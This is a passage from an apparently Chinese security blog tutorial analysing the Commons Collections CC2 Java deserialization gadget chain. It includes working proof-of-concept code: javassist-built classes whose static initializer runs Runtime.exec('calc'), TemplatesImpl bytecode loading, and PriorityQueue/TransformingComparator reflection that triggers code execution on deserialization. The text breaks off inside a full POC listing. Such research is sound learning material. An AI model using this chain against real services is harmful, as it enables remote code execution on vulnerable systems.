&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; <span class="keyword">void</span> <span class="title function_">setValue</span><span class="params">(TemplatesImpl obj,String fname,T newf)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">filed</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(fname);</span><br><span class="line">        filed.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        filed.set(obj,newf);</span><br><span class="line">    &#125;<span class="comment">//利用反射设置TemplatesImpl的私有属性</span></span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;./out/production/testDefineClass/evil.class&quot;</span>);</span><br><span class="line">        <span class="type">FileInputStream</span> <span class="variable">filein</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(file);</span><br><span class="line">        <span class="type">byte</span>[] bytess = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>)file.length()];</span><br><span class="line">        filein.read(bytess);</span><br><span class="line">        <span class="type">String</span> <span class="variable">base64</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(Base64.getEncoder().encode(bytess));</span><br><span class="line">        System.out.println(base64);</span><br><span class="line"> </span><br><span class="line">        <span class="type">String</span> <span class="variable">evilbase64</span> <span class="operator">=</span>  base64;<span class="comment">//要加载的恶意类</span></span><br><span class="line">        <span class="type">byte</span>[] evilbytes = Base64.getDecoder().decode(evilbase64);</span><br><span class="line"> </span><br><span class="line"><span class="comment">//        //直接使用defineClass加载字节码</span></span><br><span class="line"><span class="comment">//        Method defclass = ClassLoader.class.getDeclaredMethod(&quot;defineClass&quot;, byte[].class, int.class, int.class);</span></span><br><span class="line"><span class="comment">//        defclass.setAccessible(true);</span></span><br><span class="line"><span class="comment">//        Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);</span></span><br><span class="line"><span class="comment">//        evilclass.newInstance();</span></span><br><span class="line"> </span><br><span class="line">        <span class="comment">//使用TemplatesImpl加载字节码</span></span><br><span class="line">        <span class="type">byte</span>[][] evilbytes1 = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;evilbytes&#125;;</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">tempobj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_name&quot;</span>,<span class="string">&quot;Fc0&quot;</span>);</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_bytecodes&quot;</span>,evilbytes1);</span><br><span class="line">        setValue(tempobj,<span class="string">&quot;_tfactory&quot;</span>,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        tempobj.newTransformer();<span class="comment">//执行newTransformer方法</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>成功弹计算器</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757566.png" alt="image-20240918175723622"></p><h3 id="利用连分析"><a class="markdownIt-Anchor" href="#利用连分析">#</a> 利用连分析</h3><p>链子有两种实现方式，第二种是基于 ysoserial 的实现方式做的，用到了 javassist 依赖，用于生成恶意类的字节码，也可以不装这个依赖，手动编译恶意类然后读取其字节码，效果一样。<br>javassist 生成任意类的字节码的简单演示（比较简单，网上复制的）:</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//实例化一个ClassPool容器</span></span><br><span class="line"><span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line"><span class="comment">//向pool容器类搜索路径的起始位置插入AbstractTranslet.class</span></span><br><span class="line">pool.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(AbstractTranslet.class));</span><br><span class="line"><span class="comment">//新建一个CtClass，类名为Cat</span></span><br><span class="line"><span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> pool.makeClass(<span class="string">&quot;Cat&quot;</span>);</span><br><span class="line"><span class="comment">//设置一个要执行的命令</span></span><br><span class="line"><span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;</span>;</span><br><span class="line"><span class="comment">//制作一个空的类初始化，并在前面插入要执行的命令语句</span></span><br><span class="line">cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line"><span class="comment">//重新设置一下类名，生成的类的名称就不再是Cat</span></span><br><span class="line"><span class="type">String</span> <span class="variable">randomClassName</span> <span class="operator">=</span> <span class="string">&quot;EvilCat&quot;</span> + System.nanoTime();</span><br><span class="line">cc.setName(randomClassName);</span><br><span class="line"><span class="comment">//将生成的类文件保存下来</span></span><br><span class="line">cc.writeFile();</span><br><span class="line"><span class="comment">//设置AbstractTranslet类为该类的父类</span></span><br><span class="line">cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));</span><br><span class="line"><span class="comment">//将该类转换为字节数组</span></span><br><span class="line"><span class="type">byte</span>[] classBytes = cc.toBytecode();</span><br><span class="line"><span class="comment">//将一维数组classBytes放到二维数组targetByteCodes的第一个元素</span></span><br></pre></td></tr></table></figure></div><h4 id="链子一"><a class="markdownIt-Anchor" href="#链子一">#</a> 链子一</h4><p>CC2 链利用流程：</p><ol><li><p>构造一个 TestTemplatesImpl 恶意类转成字节码，然后通过反射将恶意类的字节码注入到 TemplatesImpl 对象的_bytecodes 属性（构造利用核心代码）</p></li><li><p>创建一个 InvokerTransformer 并传递一个 newTransformer 方法，然后将 InvokerTransformer 方法名传递给 TransformingComparator（这一步和 CC1 链非常相似）</p></li><li><p>通过反射构造 PriorityQueue 队列的 comparator 和 queue 两个字段，将 PriorityQueue 队列的 comparator 字段设置为 TransformingComparator，然后将 queue 字段设置为 TemplatesImpl 对象，触发利用链</p></li></ol><p>链子的终点和 CC1 链一样，仍然是 InvokeTransformer 的 transform 方法实现任意类任意方法执行<br>还是查找 transform 方法的执行点，在 TransformComparator 中有个 compare 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182234414.png" alt="image-20240918223441356"></p><p>根据 CC1 链，我们需要让 transform 的主体也就是<strong>属性 transformer</strong> 是 CC1 链中的那个<strong> ChainedTransformer 对象</strong><br>看到 TransformComparator 的构造方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182305787.png" alt="image-20240918230538749"></p><p>可以直接用 new 构造赋值。<br>因此直接使用</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">runtimeClass</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">Transformer[] transes = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(runtimeClass),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="literal">null</span>&#125;),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)&#125;;</span><br><span class="line"><span class="type">ChainedTransformer</span> <span class="variable">chtfm</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transes);</span><br><span class="line"><span class="comment">//        chtfm.transform(runtimeClass);</span></span><br><span class="line"><span class="type">TransformingComparator</span> <span class="variable">tc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(chtfm);</span><br></pre></td></tr></table></figure></div><p>就获得我们想要的 TransformingComparator 对象</p><p><strong>代码分析</strong></p><ol><li><strong> <code>Transformer[] transes = new Transformer[]&#123;&#125;</code> </strong><br> 这里你定义了一个  <code>Transformer</code>  数组，每个  <code>Transformer</code>  代表一个操作，通过这些操作你可以在运行时进行反射调用。</li><li><strong> <code>new ConstantTransformer(runtimeClass)</code> </strong><br> 这一步创建了一个  <code>ConstantTransformer</code> ，将  <code>Runtime.class</code>  作为常量传递给后续的  <code>Transformer</code> 。 <code>Runtime.class</code>  是 Java 的  <code>Runtime</code>  类，用于执行底层系统命令。</li><li><strong> <code>new InvokerTransformer(&quot;getDeclaredMethod&quot;, ...)</code> </strong><br> 这里使用了  <code>InvokerTransformer</code> ，通过反射调用  <code>Runtime.class</code>  的  <code>getDeclaredMethod</code>  方法，获取  <code>Runtime</code>  的  <code>getRuntime()</code>  方法。</li><li><strong> <code>new InvokerTransformer(&quot;invoke&quot;, ...)</code> </strong><br> 这个  <code>InvokerTransformer</code>  用于调用前面获取到的  <code>getRuntime()</code>  方法，来获取当前的  <code>Runtime</code>  实例。</li><li><strong> <code>new InvokerTransformer(&quot;exec&quot;, ...)</code> </strong><br> 最后通过  <code>exec</code>  方法，调用  <code>Runtime</code>  实例的  <code>exec(String command)</code>  方法，传入命令  <code>&quot;calc&quot;</code> （即在 Windows 系统中打开计算器）。</li><li><strong> <code>ChainedTransformer chtfm = new ChainedTransformer(transes)</code> </strong><br> 这一步将所有  <code>Transformer</code>  链接起来，形成一个链式调用，通过  <code>ChainedTransformer</code>  将多个操作组合成一个整体执行流程。</li><li><strong> <code>TransformingComparator tc = new TransformingComparator(chtfm)</code> </strong><br> <code>TransformingComparator</code>  是用于比较的包装类。这里的关键点是， <code>TransformingComparator</code>  将会使用你定义的  <code>ChainedTransformer</code>  来转换输入对象，从而在比较时触发相应的链式调用。</li></ol><p>继续往下找，compare 方法在 JAVA 的优先级队列类 PriorityQueue 中有实现：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182331320.png" alt="image-20240918233115265"></p><p>而 PriorityQueue 的 readObject 方法正好会用到这个 compare。找到 readObject 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182331207.png" alt="image-20240918233145149"></p><p>跟进最后一行的 heapify 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182332794.png" alt="image-20240918233202746"></p><p>跟进 siftDown 方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182332709.png" alt="image-20240918233218660"></p><p>跟进 siftDownUsingComparator 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182332761.png" alt="image-20240918233238698"></p><p>这里就跟到了 compare 方法</p><p>而对于属性 queue，看到 writeObject 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182333814.png" alt="image-20240918233303775"></p><p>会遍历 queue 进行 writeObject，对应的 readObject 依次读入 queue 的各个对象，并检查 queue 是否符合 writeObject 时的数量。<br>这样整个链子就完结了。</p><p>至于参数，由于我们直接使用 CC1 链中以 ConstantTransformer 开头的 ChainedTransformer 链式调用 transform 的方法，就不用关心给到 transform 的参数是什么了（ConstantTransformer 固定返回我们想要的对象，给第二个 transform 作为参数）</p><p>只需要让 comparator 属性为我们构造的的 tc 就行了，同样这也直接在构造方法里就可以赋值</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182355094.png" alt="image-20240918235526020"></p><p>构造 PriorityQueue 对象之后，我们这里使用 add 方法对 queue 进行赋值，确保前面这些方法在能够正常对 queue 遍历即可</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">PriorityQueue</span> <span class="variable">pq</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(tc);</span><br><span class="line"> </span><br><span class="line">pq.add(<span class="number">1</span>);</span><br><span class="line">pq.add(<span class="number">2</span>);</span><br></pre></td></tr></table></figure></div><p>但是这样会出现问题。<br>跟进 add 方法：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182357256.png" alt="image-20240918235710222"></p><p>跟进 offer：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182357627.png" alt="image-20240918235736574"></p><p>跟进 siftUp：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182357364.png" alt="image-20240918235755313"></p><p>这里也用到了 siftUpUsingComparator 方法，这会在序列化数据之前就执行我们的恶意命令<br>这是无所谓的，问题关键在于 compare 方法中，在命令执行后会抛出一个异常<br><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409182358808.png" alt="image_mak"><br> 这会导致我们构造序列化数据的过程直接中断。</p><p>这是因为这一句</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190000660.png" alt="image-20240919000051620"></p><p>我们在构造 TransformingComparator 对象的时候，用的是这个构造方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190001728.png" alt="image-20240919000121686"></p><p>于是就会跟进调用这个重载的构造方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190001013.png" alt="image-20240919000148970"></p><p>因此 decorated 属性被设置为 ComparatorUtils.NATURAL_COMPARATOR<br> 跟进这个 ComparatorUtils 看看</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190006070.png" alt="image-20240919000625027"></p><p>那么跟进看看 ComparableComparator.comparableComparator () 静态方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190006895.png" alt="image-20240919000653854"></p><p>再跟进到当前类的 INSTANCE</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190008504.png" alt="image-20240919000802458"></p><p>到这里指向了最终的对象，也就是说执行了 ComparableComparator 的 compare 方法，给的两个参数是 transform 方法返回的结果<br>继续跟进到 ComparableComparator 的 compare 方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190010310.png" alt="image-20240919001001264"></p><p>参数类型要求的是泛型 E，而 E 在类中的声明是：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190010457.png" alt="image-20240919001051412"></p><p>这要求参数必须是实现了 Comparable 接口的类型。而我们 transform 执行的是 exec 方法，显然返回的对象类型 java.lang.Process 没有实现这个接口，因此就报错了</p><p>解决的办法有很多，一种是在构造 PriorityQueue 用数字做参数，这样走的就是这个构造器</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190011782.png" alt="image-20240919001152746"></p><p>comparator 为 null，这样执行 siftUp 和 siftDown 的时候就会走 else 分支，执行 siftUpComparable</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190013470.png" alt="image-20240919001323422"></p><p>这个方法没有 compare，处理正常数据就不会报错。<br>在 add 数据之后，通过反射把 PriorityQueue 对象的 comparator 设置成我们的 tc，就拿到了我们最终想要序列化的 PriorityQueue 对象了<br> POC：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object o)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">objout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">        objout.writeObject(o);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">objinp</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;ser.txt&quot;</span>));</span><br><span class="line">        objinp.readObject();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        <span class="comment">//链子1</span></span><br><span class="line">        <span class="type">Class</span> <span class="variable">runtimeClass</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">        Transformer[] transes = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;<span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(runtimeClass),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class,Class[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>,<span class="literal">null</span>&#125;),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class,Object[].class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>,<span class="literal">null</span>&#125;),<span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)&#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chtfm</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transes);</span><br><span class="line">    <span class="comment">//        chtfm.transform(runtimeClass);</span></span><br><span class="line">        <span class="type">TransformingComparator</span> <span class="variable">tc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TransformingComparator</span>(chtfm);</span><br><span class="line">        tc.compare(runtimeClass,runtimeClass);</span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">        <span class="type">PriorityQueue</span> <span class="variable">pq</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>(<span class="number">1</span>);<span class="comment">//创建无comparator的PriorityQueue</span></span><br><span class="line"> </span><br><span class="line">        pq.add(<span class="number">1</span>);</span><br><span class="line">        pq.add(<span class="number">2</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">cp</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">&quot;comparator&quot;</span>);<span class="comment">//通过反射设置comparator</span></span><br><span class="line">        cp.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        cp.set(pq,tc);</span><br><span class="line">        serialize(pq);</span><br><span class="line">        unserialize();</span><br><span class="line">    &#125;&#125;</span><br></pre></td></tr></table></figure></div><h4 id="链子二"><a class="markdownIt-Anchor" href="#链子二">#</a> 链子二</h4><p>其实是一个链子，只是实现方法不一样，在 ysoserial 中 CC2 链子使用的是 templatesImpl 动态加载字节码的函数，最终实现 exec<br> 也就是说我们最终想实现的代码是：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">TemplatesImpl</span> <span class="variable">tempobj</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">setValue(tempobj,<span class="string">&quot;_name&quot;</span>,<span class="string">&quot;123&quot;</span>);</span><br><span class="line">setValue(tempobj,<span class="string">&quot;_bytecodes&quot;</span>,generateByteCode());</span><br><span class="line">setValue(tempobj,<span class="string">&quot;_tfactory&quot;</span>,<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line"><span class="type">InvokerTransformer</span> <span class="variable">ivt</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;newTransformer&quot;</span>, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line"> </span><br><span class="line">ivt.transform(tempobj)</span><br></pre></td></tr></table></figure></div><p>（TemplatesImpl 的 newTransformer 最终是能跟到 defineClass 的）<br>其中 generateByteCode 方法，使用 javassist 返回首元素是恶意类的字节码的二维 byte 数组：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[][] generateByteCode() <span class="keyword">throws</span> Exception&#123; <span class="comment">//返回恶意类的字节码的二维byte数组，该类在加载时即执行恶意的静态代码块</span></span><br><span class="line">    <span class="type">ClassPool</span> <span class="variable">cp</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">    cp.insertClassPath(<span class="keyword">new</span> <span class="title class_">ClassClassPath</span>(AbstractTranslet.class));</span><br><span class="line">    <span class="type">CtClass</span> <span class="variable">cc</span> <span class="operator">=</span> cp.makeClass(<span class="string">&quot;evil&quot;</span>);</span><br><span class="line">    <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="string">&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc\&quot;);&quot;</span>;</span><br><span class="line">    cc.makeClassInitializer().insertBefore(cmd);</span><br><span class="line">    cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));</span><br><span class="line">    <span class="type">byte</span>[][] evilbyte = <span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;cc.toBytecode()&#125;;</span><br><span class="line">    <span class="keyword">return</span> evilbyte;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>代码解析：</strong></p><ol><li><strong>ClassPool 与 CtClass：</strong><ul><li><code>ClassPool cp = ClassPool.getDefault();</code>  创建了一个默认的类池，用于生成新的类。</li><li><code>CtClass cc = cp.makeClass(&quot;evil&quot;);</code>  创建了一个名为 “evil” 的类。</li></ul></li><li><strong>插入静态代码块：</strong><ul><li><code>cc.makeClassInitializer().insertBefore(cmd);</code>  通过插入静态代码块，在类加载时执行  <code>cmd</code> ，该  <code>cmd</code>  是调用计算器的命令。</li></ul></li><li><strong>设置父类：</strong><ul><li><code>cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));</code>  设置  <code>evil</code>  类的父类为  <code>AbstractTranslet</code> （该类属于  <code>javax.xml.transform</code>  包的一部分），这是因为某些  <code>TemplatesImpl</code>  类会要求其子类继承自  <code>AbstractTranslet</code> 。</li></ul></li><li><strong>生成字节码：</strong><ul><li><code>byte[][] evilbyte = new byte[][]&#123;cc.toBytecode()&#125;;</code>  将生成的类字节码保存到二维字节数组  <code>evilbyte</code>  中，并返回。</li></ul></li></ol><p>除此之外，实现方式还略有不同，一是因为 templatesImpl 和 Runtime 不一样，它是一个可序列化的类，二是因为 CC2 链传给 transform 的参数是可控的（和 CC1 不一样），因此这里没有用到 ChainedTransformer 和 ConstantTransformer 而是直接将 templatesImpl 对象作为参数传给了 InvokeTransformer 的 transform</p><p>看看参数是怎么传递的<br>直接看最后的 siftDownUsingComparator，compare 拿到的参数 c 和 queue [right] 就是直接从 queue 中取得的对象。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190031544.png" alt="image-20240919003136489"></p><p>而 compare 方法中，拿到的两个参数 obj1 和 obj2 都是 transform 方法的参数</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190033740.png" alt="image-20240918223441356"></p><p>因此只要让我们的 PriorityQueue 对象的 queue 数组是两个我们的 tempobj 就可以了</p><p>这里换一种方式解决序列化时候报错的问题，用反射而非 add 设置我们的 queue 属性。由于不是 add，我们还需要设置好数组大小 size 属性，不然 size 为 0，走到这里就会终止：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409190034798.png" alt="image-20240919003405744"></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Field</span> <span class="variable">qf_queue</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">&quot;queue&quot;</span>);</span><br><span class="line">qf_queue.setAccessible(<span class="literal">true</span>);</span><br><span class="line">qf_queue.set(pq,<span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;tempobj,tempobj&#125;);</span><br><span class="line"> </span><br><span class="line"><span class="type">Field</span> <span class="variable">qf_size</span> <span class="operator">=</span> PriorityQueue.class.getDeclaredField(<span class="string">&quot;size&quot;</span>);</span><br><span class="line">qf_size.setAccessible(<span class="literal">true</span>);</span><br><span class="line">qf_size.set(pq,<span class="number">2</span>);</span><br></pre></td></tr></table></figure></div><p>完整 POC：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span 